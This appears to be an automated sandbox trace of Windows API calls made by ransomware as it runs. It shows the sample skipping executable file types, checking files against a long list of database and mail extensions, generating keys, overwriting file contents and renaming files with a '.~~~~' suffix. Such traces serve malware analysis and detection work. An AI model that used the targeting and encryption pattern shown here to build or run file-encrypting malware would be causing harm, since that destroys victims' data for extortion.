	[0084.379] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.~~~~")) returned 1
	[0084.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8928 | out: hHeap=0x300000) returned 1
	[0084.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.382] GetLastError () returned 0x0
	[0084.382] RtlWakeConditionVariable () returned 0x365f70
	[0084.382] GetCurrentThreadId () returned 0x3a4
	[0084.382] GetCurrentThreadId () returned 0x3a4
	[0084.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8a98 | out: hHeap=0x300000) returned 1
	[0084.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96f8 | out: hHeap=0x300000) returned 1
	[0084.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8a98
	[0084.382] lstrlenW (lpString=".scr") returned 4
	[0084.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.382] lstrlenW (lpString=".cmd") returned 4
	[0084.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.382] lstrlenW (lpString=".dll") returned 4
	[0084.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.382] lstrlenW (lpString=".bat") returned 4
	[0084.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.382] lstrlenW (lpString=".cpl") returned 4
	[0084.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.382] lstrlenW (lpString=".sys") returned 4
	[0084.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.382] lstrlenW (lpString=".msc") returned 4
	[0084.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.382] lstrlenW (lpString=".com") returned 4
	[0084.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.382] lstrlenW (lpString=".lnk") returned 4
	[0084.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.382] lstrlenW (lpString=".msp") returned 4
	[0084.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.383] lstrlenW (lpString=".pif") returned 4
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.383] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0084.383] lstrlenW (lpString=".sqb") returned 4
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.383] lstrlenW (lpString=".ost") returned 4
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.383] lstrlenW (lpString=".txt") returned 4
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.383] lstrlenW (lpString=".mdt") returned 4
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.383] lstrlenW (lpString=".BDB") returned 4
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.383] lstrlenW (lpString=".eql") returned 4
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.383] lstrlenW (lpString=".DBF") returned 4
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.383] lstrlenW (lpString=".EQL") returned 4
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.383] lstrlenW (lpString=".FDB") returned 4
	[0084.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.383] lstrlenW (lpString=".EDB") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.384] lstrlenW (lpString=".DACPAC") returned 7
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.384] lstrlenW (lpString=".VHD") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.384] lstrlenW (lpString=".DBV") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.384] lstrlenW (lpString=".dacpac") returned 7
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.384] lstrlenW (lpString=".sdf") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.384] lstrlenW (lpString=".accdb") returned 6
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.384] lstrlenW (lpString=".DBX") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.384] lstrlenW (lpString=".MDT") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.384] lstrlenW (lpString=".SQB") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.384] lstrlenW (lpString=".vhd") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.384] lstrlenW (lpString=".bac") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.384] lstrlenW (lpString=".mdf") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.384] lstrlenW (lpString=".BAK") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.384] lstrlenW (lpString=".BAC") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.384] lstrlenW (lpString=".dbs") returned 4
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.384] lstrlenW (lpString=".vhdx") returned 5
	[0084.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.384] lstrlenW (lpString=".NDF") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.385] lstrlenW (lpString=".dat") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.385] lstrlenW (lpString=".DBS") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.385] lstrlenW (lpString=".CKP") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.385] lstrlenW (lpString=".edb") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.385] lstrlenW (lpString=".PST") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.385] lstrlenW (lpString=".dbf") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.385] lstrlenW (lpString=".SQL") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.385] lstrlenW (lpString=".pst") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.385] lstrlenW (lpString=".dbv") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.385] lstrlenW (lpString=".SDF") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.385] lstrlenW (lpString=".dtxs") returned 5
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.385] lstrlenW (lpString=".db3") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.385] lstrlenW (lpString=".OST") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.385] lstrlenW (lpString=".dbx") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.385] lstrlenW (lpString=".DB3") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.385] lstrlenW (lpString=".DAT") returned 4
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.385] lstrlenW (lpString=".VHDX") returned 5
	[0084.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.385] lstrlenW (lpString=".ndf") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.386] lstrlenW (lpString=".DB") returned 3
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0084.386] lstrlenW (lpString=".sql") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0084.386] lstrlenW (lpString=".MYD") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0084.386] lstrlenW (lpString=".DBT") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0084.386] lstrlenW (lpString=".ACCDB") returned 6
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0084.386] lstrlenW (lpString=".fdb") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0084.386] lstrlenW (lpString=".bak") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0084.386] lstrlenW (lpString=".myd") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0084.386] lstrlenW (lpString=".DTXS") returned 5
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0084.386] lstrlenW (lpString=".ckp") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0084.386] lstrlenW (lpString=".dbt") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0084.386] lstrlenW (lpString=".db") returned 3
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0084.386] lstrlenW (lpString=".TXT") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0084.386] lstrlenW (lpString=".MDF") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0084.386] lstrlenW (lpString=".bdb") returned 4
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0084.386] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.387] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0084.387] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.387] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.388] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20437764385) returned 1
	[0084.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c20c790, dwHighDateTime=0x1d60e1e)) 
	[0084.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a96f8
	[0084.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a96f8 | out: hHeap=0x300000) returned 1
	[0084.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808330
	[0084.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.388] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.388] GetLastError () returned 0x0
	[0084.388] GetLastError () returned 0x0
	[0084.388] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.388] GetLastError () returned 0x0
	[0084.388] GetLastError () returned 0x0
	[0084.484] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffec00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.484] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x1400, lpOverlapped=0x0) returned 1
	[0084.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0084.486] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.486] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.486] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.486] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.486] CloseHandle (hObject=0x120) returned 1
	[0084.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.~~~~")) returned 1
	[0084.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0084.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.487] GetLastError () returned 0x0
	[0084.487] RtlWakeConditionVariable () returned 0x365f70
	[0084.487] GetCurrentThreadId () returned 0x3a4
	[0084.487] GetCurrentThreadId () returned 0x3a4
	[0084.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0084.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808c60 | out: hHeap=0x300000) returned 1
	[0084.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2838 | out: hHeap=0x300000) returned 1
	[0084.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808c60
	[0084.487] lstrlenW (lpString=".scr") returned 4
	[0084.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".scr") returned 0x0
	[0084.487] lstrlenW (lpString=".cmd") returned 4
	[0084.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".cmd") returned 0x0
	[0084.487] lstrlenW (lpString=".dll") returned 4
	[0084.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".dll") returned 0x0
	[0084.487] lstrlenW (lpString=".bat") returned 4
	[0084.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".bat") returned 0x0
	[0084.488] lstrlenW (lpString=".cpl") returned 4
	[0084.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".cpl") returned 0x0
	[0084.488] lstrlenW (lpString=".sys") returned 4
	[0084.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".sys") returned 0x0
	[0084.488] lstrlenW (lpString=".msc") returned 4
	[0084.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".msc") returned 0x0
	[0084.488] lstrlenW (lpString=".com") returned 4
	[0084.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".com") returned 0x0
	[0084.488] lstrlenW (lpString=".lnk") returned 4
	[0084.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".lnk") returned 0x0
	[0084.488] lstrlenW (lpString=".msp") returned 4
	[0084.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".msp") returned 0x0
	[0084.488] lstrlenW (lpString=".pif") returned 4
	[0084.488] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpSrch=".pif") returned 0x0
	[0084.488] lstrlenW (lpString="msp\r\n.pif") returned 9
